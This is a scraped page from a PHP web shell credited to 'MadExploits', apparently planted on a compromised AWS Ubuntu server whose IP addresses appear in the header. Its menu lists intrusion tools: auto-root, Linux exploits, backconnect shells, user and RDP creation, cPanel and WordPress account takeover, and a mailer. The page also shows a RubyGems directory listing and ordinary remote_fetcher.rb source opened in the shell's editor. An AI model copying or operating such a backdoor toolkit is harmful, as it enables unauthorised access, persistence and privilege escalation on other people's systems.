Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 52.14.77.105
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
2.7.0 /
rubygems /
[ HOME SHELL ]
Name
Size
Permission
Action
commands
[ DIR ]
drwxr-xr-x
core_ext
[ DIR ]
drwxr-xr-x
ext
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
request
[ DIR ]
drwxr-xr-x
request_set
[ DIR ]
drwxr-xr-x
resolver
[ DIR ]
drwxr-xr-x
security
[ DIR ]
drwxr-xr-x
source
[ DIR ]
drwxr-xr-x
ssl_certs
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
available_set.rb
3.02
KB
-rw-r--r--
basic_specification.rb
7.61
KB
-rw-r--r--
bundler_version_finder.rb
2.97
KB
-rw-r--r--
command.rb
15.79
KB
-rw-r--r--
command_manager.rb
4.99
KB
-rw-r--r--
compatibility.rb
1022
B
-rw-r--r--
config_file.rb
12.69
KB
-rw-r--r--
defaults.rb
4.55
KB
-rw-r--r--
dependency.rb
8.64
KB
-rw-r--r--
dependency_installer.rb
12
KB
-rw-r--r--
dependency_list.rb
5.54
KB
-rw-r--r--
deprecate.rb
1.75
KB
-rw-r--r--
doctor.rb
3.06
KB
-rw-r--r--
errors.rb
4.64
KB
-rw-r--r--
exceptions.rb
6.49
KB
-rw-r--r--
ext.rb
460
B
-rw-r--r--
gem_runner.rb
2.18
KB
-rw-r--r--
gemcutter_utilities.rb
5.16
KB
-rw-r--r--
indexer.rb
11.29
KB
-rw-r--r--
install_default_message.rb
336
B
-rw-r--r--
install_message.rb
310
B
-rw-r--r--
install_update_options.rb
6.26
KB
-rw-r--r--
installer.rb
26.62
KB
-rw-r--r--
installer_test_case.rb
4.8
KB
-rw-r--r--
local_remote_options.rb
3.53
KB
-rw-r--r--
mock_gem_ui.rb
1.38
KB
-rw-r--r--
name_tuple.rb
2.42
KB
-rw-r--r--
package.rb
17.99
KB
-rw-r--r--
package_task.rb
3.8
KB
-rw-r--r--
path_support.rb
1.88
KB
-rw-r--r--
platform.rb
6.25
KB
-rw-r--r--
psych_additions.rb
300
B
-rw-r--r--
psych_tree.rb
796
B
-rw-r--r--
rdoc.rb
524
B
-rw-r--r--
remote_fetcher.rb
9.48
KB
-rw-r--r--
request.rb
8.7
KB
-rw-r--r--
request_set.rb
11.94
KB
-rw-r--r--
requirement.rb
7.15
KB
-rw-r--r--
resolver.rb
9.46
KB
-rw-r--r--
s3_uri_signer.rb
5.93
KB
-rw-r--r--
safe_yaml.rb
1.55
KB
-rw-r--r--
security.rb
21.24
KB
-rw-r--r--
security_option.rb
1.03
KB
-rw-r--r--
server.rb
22.72
KB
-rw-r--r--
source.rb
5.38
KB
-rw-r--r--
source_list.rb
2.55
KB
-rw-r--r--
source_local.rb
274
B
-rw-r--r--
source_specific_file.rb
272
B
-rw-r--r--
spec_fetcher.rb
6.3
KB
-rw-r--r--
specification.rb
70.69
KB
-rw-r--r--
specification_policy.rb
11.38
KB
-rw-r--r--
stub_specification.rb
4.74
KB
-rw-r--r--
syck_hack.rb
2.12
KB
-rw-r--r--
test_case.rb
39.51
KB
-rw-r--r--
test_utilities.rb
8.84
KB
-rw-r--r--
text.rb
1.85
KB
-rw-r--r--
uninstaller.rb
8.83
KB
-rw-r--r--
uri_formatter.rb
778
B
-rw-r--r--
uri_parser.rb
785
B
-rw-r--r--
uri_parsing.rb
324
B
-rw-r--r--
user_interaction.rb
13.3
KB
-rw-r--r--
util.rb
2.22
KB
-rw-r--r--
validator.rb
3.65
KB
-rw-r--r--
version.rb
12.43
KB
-rw-r--r--
version_option.rb
2.02
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : remote_fetcher.rb
# frozen_string_literal: true require 'rubygems' require 'rubygems/request' require 'rubygems/request/connection_pools' require 'rubygems/s3_uri_signer' require 'rubygems/uri_formatter' require 'rubygems/uri_parsing' require 'rubygems/user_interaction' require 'resolv' require 'rubygems/deprecate' ## # RemoteFetcher handles the details of fetching gems and gem information from # a remote source. class Gem::RemoteFetcher include Gem::UserInteraction extend Gem::Deprecate include Gem::UriParsing ## # A FetchError exception wraps up the various possible IO and HTTP failures # that could happen while downloading from the internet. class FetchError < Gem::Exception include Gem::UriParsing ## # The URI which was being accessed when the exception happened. attr_accessor :uri def initialize(message, uri) super message uri = parse_uri(uri) uri.password = 'REDACTED' if uri.respond_to?(:password) && uri.password @uri = uri.to_s end def to_s # :nodoc: "#{super} (#{uri})" end end ## # A FetchError that indicates that the reason for not being # able to fetch data was that the host could not be contacted class UnknownHostError < FetchError end @fetcher = nil ## # Cached RemoteFetcher instance. def self.fetcher @fetcher ||= self.new Gem.configuration[:http_proxy] end attr_accessor :headers ## # Initialize a remote fetcher using the source URI and possible proxy # information. # # +proxy+ # * [String]: explicit specification of proxy; overrides any environment # variable setting # * nil: respect environment variables (HTTP_PROXY, HTTP_PROXY_USER, # HTTP_PROXY_PASS) # * <tt>:no_proxy</tt>: ignore environment variables and _don't_ use a proxy # # +headers+: A set of additional HTTP headers to be sent to the server when # fetching the gem. def initialize(proxy=nil, dns=nil, headers={}) require 'net/http' require 'stringio' require 'time' require 'uri' Socket.do_not_reverse_lookup = true @proxy = proxy @pools = {} @pool_lock = Mutex.new @cert_files = Gem::Request.get_cert_files @headers = headers end ## # Given a name and requirement, downloads this gem into cache and returns the # filename. Returns nil if the gem cannot be located. #-- # Should probably be integrated with #download below, but that will be a # larger, more encompassing effort. -erikh def download_to_cache(dependency) found, _ = Gem::SpecFetcher.fetcher.spec_for_dependency dependency return if found.empty? spec, source = found.max_by { |(s,_)| s.version } download spec, source.uri end ## # Moves the gem +spec+ from +source_uri+ to the cache dir unless it is # already there. If the source_uri is local the gem cache dir copy is # always replaced. def download(spec, source_uri, install_dir = Gem.dir) cache_dir = if Dir.pwd == install_dir # see fetch_command install_dir elsif File.writable? install_dir File.join install_dir, "cache" else File.join Gem.user_dir, "cache" end gem_file_name = File.basename spec.cache_file local_gem_path = File.join cache_dir, gem_file_name FileUtils.mkdir_p cache_dir rescue nil unless File.exist? cache_dir source_uri = parse_uri(source_uri) scheme = source_uri.scheme # URI.parse gets confused by MS Windows paths with forward slashes. scheme = nil if scheme =~ /^[a-z]$/i # REFACTOR: split this up and dispatch on scheme (eg download_http) # REFACTOR: be sure to clean up fake fetcher when you do this... cleaner case scheme when 'http', 'https', 's3' then unless File.exist? local_gem_path begin verbose "Downloading gem #{gem_file_name}" remote_gem_path = source_uri + "gems/#{gem_file_name}" self.cache_update_path remote_gem_path, local_gem_path rescue FetchError raise if spec.original_platform == spec.platform alternate_name = "#{spec.original_name}.gem" verbose "Failed, downloading gem #{alternate_name}" remote_gem_path = source_uri + "gems/#{alternate_name}" self.cache_update_path remote_gem_path, local_gem_path end end when 'file' then begin path = source_uri.path path = File.dirname(path) if File.extname(path) == '.gem' remote_gem_path = Gem::Util.correct_for_windows_path(File.join(path, 'gems', gem_file_name)) FileUtils.cp(remote_gem_path, local_gem_path) rescue Errno::EACCES local_gem_path = source_uri.to_s end verbose "Using local gem #{local_gem_path}" when nil then # TODO test for local overriding cache source_path = if Gem.win_platform? && source_uri.scheme && !source_uri.path.include?(':') "#{source_uri.scheme}:#{source_uri.path}" else source_uri.path end source_path = Gem::UriFormatter.new(source_path).unescape begin FileUtils.cp source_path, local_gem_path unless File.identical?(source_path, local_gem_path) rescue Errno::EACCES local_gem_path = source_uri.to_s end verbose "Using local gem #{local_gem_path}" else raise ArgumentError, "unsupported URI scheme #{source_uri.scheme}" end local_gem_path end ## # File Fetcher. Dispatched by +fetch_path+. Use it instead. def fetch_file(uri, *_) Gem.read_binary Gem::Util.correct_for_windows_path uri.path end ## # HTTP Fetcher. Dispatched by +fetch_path+. Use it instead. def fetch_http(uri, last_modified = nil, head = false, depth = 0) fetch_type = head ? Net::HTTP::Head : Net::HTTP::Get response = request uri, fetch_type, last_modified do |req| headers.each { |k,v| req.add_field(k,v) } end case response when Net::HTTPOK, Net::HTTPNotModified then response.uri = uri if response.respond_to? :uri head ? response : response.body when Net::HTTPMovedPermanently, Net::HTTPFound, Net::HTTPSeeOther, Net::HTTPTemporaryRedirect then raise FetchError.new('too many redirects', uri) if depth > 10 unless location = response['Location'] raise FetchError.new("redirecting but no redirect location was given", uri) end location = parse_uri location if https?(uri) && !https?(location) raise FetchError.new("redirecting to non-https resource: #{location}", uri) end fetch_http(location, last_modified, head, depth + 1) else raise FetchError.new("bad response #{response.message} #{response.code}", uri) end end alias :fetch_https :fetch_http ## # Downloads +uri+ and returns it as a String. def fetch_path(uri, mtime = nil, head = false) uri = parse_uri uri unless uri.scheme raise ArgumentError, "uri scheme is invalid: #{uri.scheme.inspect}" end data = send "fetch_#{uri.scheme}", uri, mtime, head if data and !head and uri.to_s =~ /\.gz$/ begin data = Gem::Util.gunzip data rescue Zlib::GzipFile::Error raise FetchError.new("server did not return a valid file", uri) end end data rescue Timeout::Error raise UnknownHostError.new('timed out', uri) rescue IOError, SocketError, SystemCallError, *(OpenSSL::SSL::SSLError if defined?(OpenSSL)) => e if e.message =~ /getaddrinfo/ raise UnknownHostError.new('no such name', uri) else raise FetchError.new("#{e.class}: #{e}", uri) end end def fetch_s3(uri, mtime = nil, head = false) begin public_uri = s3_uri_signer(uri).sign rescue Gem::S3URISigner::ConfigurationError, Gem::S3URISigner::InstanceProfileError => e raise FetchError.new(e.message, "s3://#{uri.host}") end fetch_https public_uri, mtime, head end # we have our own signing code here to avoid a dependency on the aws-sdk gem def s3_uri_signer(uri) Gem::S3URISigner.new(uri) end ## # Downloads +uri+ to +path+ if necessary. If no path is given, it just # passes the data. def cache_update_path(uri, path = nil, update = true) mtime = path && File.stat(path).mtime rescue nil data = fetch_path(uri, mtime) if data == nil # indicates the server returned 304 Not Modified return Gem.read_binary(path) end if update and path Gem.write_binary(path, data) end data end ## # Returns the size of +uri+ in bytes. def fetch_size(uri) response = fetch_path(uri, nil, true) response['content-length'].to_i end deprecate :fetch_size, :none, 2019, 12 ## # Performs a Net::HTTP request of type +request_class+ on +uri+ returning # a Net::HTTP response object. request maintains a table of persistent # connections to reduce connect overhead. def request(uri, request_class, last_modified = nil) proxy = proxy_for @proxy, uri pool = pools_for(proxy).pool_for uri request = Gem::Request.new uri, request_class, last_modified, pool request.fetch do |req| yield req if block_given? end end def https?(uri) uri.scheme.downcase == 'https' end def close_all @pools.each_value {|pool| pool.close_all} end private def proxy_for(proxy, uri) Gem::Request.proxy_uri(proxy || Gem::Request.get_proxy_from_env(uri.scheme)) end def pools_for(proxy) @pool_lock.synchronize do @pools[proxy] ||= Gem::Request::ConnectionPools.new proxy, @cert_files end end end
Close